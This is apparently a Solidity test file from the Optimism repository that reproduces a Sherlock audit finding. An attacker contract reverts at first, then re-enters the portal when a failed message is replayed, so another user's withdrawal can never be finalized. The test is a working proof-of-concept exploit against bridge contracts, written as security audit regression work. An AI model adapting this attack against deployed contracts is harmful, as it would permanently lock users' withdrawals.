OptimismPortal_Sherlock87_Test.t.sol

February 15, 2023 ยท View on GitHub

// SPDX-License-Identifier: MIT pragma solidity 0.8.15;

import {Types} from "../libraries/Types.sol"; import {Messenger_Initializer} from "./CommonTest.t.sol";

/// @notice OptimismPortal minimal interface interface IOptimismPortal { function finalizeWithdrawalTransaction(Types.WithdrawalTransaction memory _tx) external; }

/// @notice Attacker contract AttackContract { bool public donotRevert; bytes metaData; address optimismPortalAddress;

constructor(address _optimismPortal) {
    optimismPortalAddress = _optimismPortal;
}

function disableRevert() public {
    donotRevert = true;
}

function setMetaData(Types.WithdrawalTransaction memory _tx) public {
    metaData = abi.encodeWithSelector(IOptimismPortal.finalizeWithdrawalTransaction.selector, _tx);
}

function attack() public {
    if (donotRevert) {
        optimismPortalAddress.call(metaData);
    } else {
        revert();
    }
}

}

/// @notice Test for Sherlock issue #87 /// @dev https://github.com/ethereum-optimism/2023-01-optimism-judging/blob/main/0-system-findings/0-unprocessed/solidity/finalizeWithdrawalTransaction/087.md contract OptimismPortal_Sherlock87_Test is Messenger_Initializer { /// @notice Emitted when a withdrawal is proven successfully. event WithdrawalProven(bytes32 indexed withdrawalHash, address indexed from, address indexed to);

/// @notice An attacker contract
AttackContract attacker;

/// @notice Set up the test state (ripped from OptimismPortal tests)
function setUp() public override {
    super.setUp();

    attacker = new AttackContract(address(op));

    vm.deal(address(op), 0xFFFFFFFF);
}

/// @notice Tests whether or not the `finalizeWithdrawalTransaction` function can be called successfully with an amount of gas
///         that is **less** than the amount of gas needed to execute the withdrawal transaction.
function test_finalizeWithdrawalTransaction_gasTooLowBrick_succeeds() public {
    // Relay bob's message from L2 to the L1CrossDomainMessenger
    bytes memory attackMessage = abi.encodeWithSelector(
        L1Messenger.relayMessage.selector,
        0, // nonce
        bob, // sender
        address(attacker), // target,
        0, // value
        1_000_000, // min gas limit
        abi.encodeWithSelector(attacker.attack.selector) // data
    );
    Types.WithdrawalTransaction memory attackTx = Types.WithdrawalTransaction({
        nonce: 0,
        sender: address(L2Messenger),
        target: address(L1Messenger),
        value: 0,
        gasLimit: 1_000_000,
        data: attackMessage
    });
    (
        bytes32 attackStateRoot,
        bytes32 attackStorageRoot,
        bytes32 attackOutputRoot,
        bytes32 attackWithdrawalHash,
        bytes[] memory attackWithdrawalProof
    ) = ffi.getProveWithdrawalTransactionInputs(attackTx);

    // Create a dummy output root proof for the attack transaction.
    Types.OutputRootProof memory attackOutputProof = Types.OutputRootProof({
        version: bytes32(uint256(0)),
        stateRoot: attackStateRoot,
        messagePasserStorageRoot: attackStorageRoot,
        latestBlockhash: bytes32(uint256(0))
    });
    uint256 _proposedBlockNumber = oracle.nextBlockNumber();
    uint256 _proposedOutputIndex = oracle.nextOutputIndex();

    // Configure the oracle to return the output root we've prepared.
    vm.warp(oracle.computeL2Timestamp(_proposedBlockNumber) + 1);
    vm.prank(oracle.PROPOSER());
    oracle.proposeL2Output(attackOutputRoot, _proposedBlockNumber, 0, 0);

    vm.expectEmit(true, true, true, true);
    emit WithdrawalProven(attackWithdrawalHash, address(L2Messenger), address(L1Messenger));
    op.proveWithdrawalTransaction(attackTx, _proposedOutputIndex, attackOutputProof, attackWithdrawalProof);

    // Warp past the finalization period for the attacker
    vm.warp(block.timestamp + op.FINALIZATION_PERIOD_SECONDS() + 1);

    // Attempt to finalize the attacker's withdrawal transaction. The call to `attack()` will revert, but the transaction
    // will be marked as finalized in the OptimismPortal. However, in the L1CrossDomainMessenger, the transaction will
    // be added to the `failedMessages` mapping.
    vm.expectEmit(true, true, false, true);
    emit WithdrawalFinalized(attackWithdrawalHash, true);
    op.finalizeWithdrawalTransaction(attackTx);

    // Set up alice's honest withdrawal transaction
    bytes memory aliceMessage = abi.encodeWithSelector(
        L1Messenger.relayMessage.selector,
        0, // nonce
        alice, // sender
        address(0xbeef), // target,
        100, // value
        1_000_000, // min gas limit
        hex"" // data
    );
    Types.WithdrawalTransaction memory aliceTx = Types.WithdrawalTransaction({
        nonce: 0,
        sender: address(L2Messenger),
        target: address(L1Messenger),
        value: 100,
        gasLimit: 1_000_000,
        data: aliceMessage
    });
    (
        bytes32 aliceStateRoot,
        bytes32 aliceStorageRoot,
        bytes32 aliceOutputRoot,
        bytes32 aliceWithdrawalHash,
        bytes[] memory aliceWithdrawalProof
    ) = ffi.getProveWithdrawalTransactionInputs(aliceTx);

    // Create a dummy output root proof for the alice's transaction.
    Types.OutputRootProof memory aliceOutputProof = Types.OutputRootProof({
        version: bytes32(uint256(0)),
        stateRoot: aliceStateRoot,
        messagePasserStorageRoot: aliceStorageRoot,
        latestBlockhash: bytes32(uint256(0))
    });
    _proposedBlockNumber = oracle.nextBlockNumber();
    _proposedOutputIndex = oracle.nextOutputIndex();

    // Configure the oracle to return the output root we've prepared.
    vm.warp(oracle.computeL2Timestamp(_proposedBlockNumber) + 1);
    vm.prank(oracle.PROPOSER());
    oracle.proposeL2Output(aliceOutputRoot, _proposedBlockNumber, 0, 0);

    // Prove alice's honest transaction.
    vm.expectEmit(true, true, true, true);
    emit WithdrawalProven(aliceWithdrawalHash, address(L2Messenger), address(L1Messenger));
    op.proveWithdrawalTransaction(aliceTx, _proposedOutputIndex, aliceOutputProof, aliceWithdrawalProof);

    // Warp past the finalization period for alice's transaction.
    vm.warp(block.timestamp + op.FINALIZATION_PERIOD_SECONDS() + 1);

    // Set up for our attack on alice's transaction.
    attacker.disableRevert();
    attacker.setMetaData(aliceTx);

    // Attempt to replay bob's failed message AS bob
    // This will now attempt to finalize alice's transaction, which will fail due to the
    // reentrancy guard on the L1CrossDomainMessenger!
    vm.expectEmit(true, true, false, true);
    emit WithdrawalFinalized(aliceWithdrawalHash, false);
    vm.prank(address(bob));
    L1Messenger.relayMessage(
        0, // nonce
        bob, // sender
        address(attacker), // target
        0, // value
        1_000_000, // min gas limit
        abi.encodeWithSelector(attacker.attack.selector) // data
    );

    // Attempt to finalize alice's transaction. This *will fail* due to bob's attack using the reentrancy guard.
    // hoooooly shit
    vm.expectRevert("OptimismPortal: withdrawal has already been finalized");
    op.finalizeWithdrawalTransaction(aliceTx);
}

}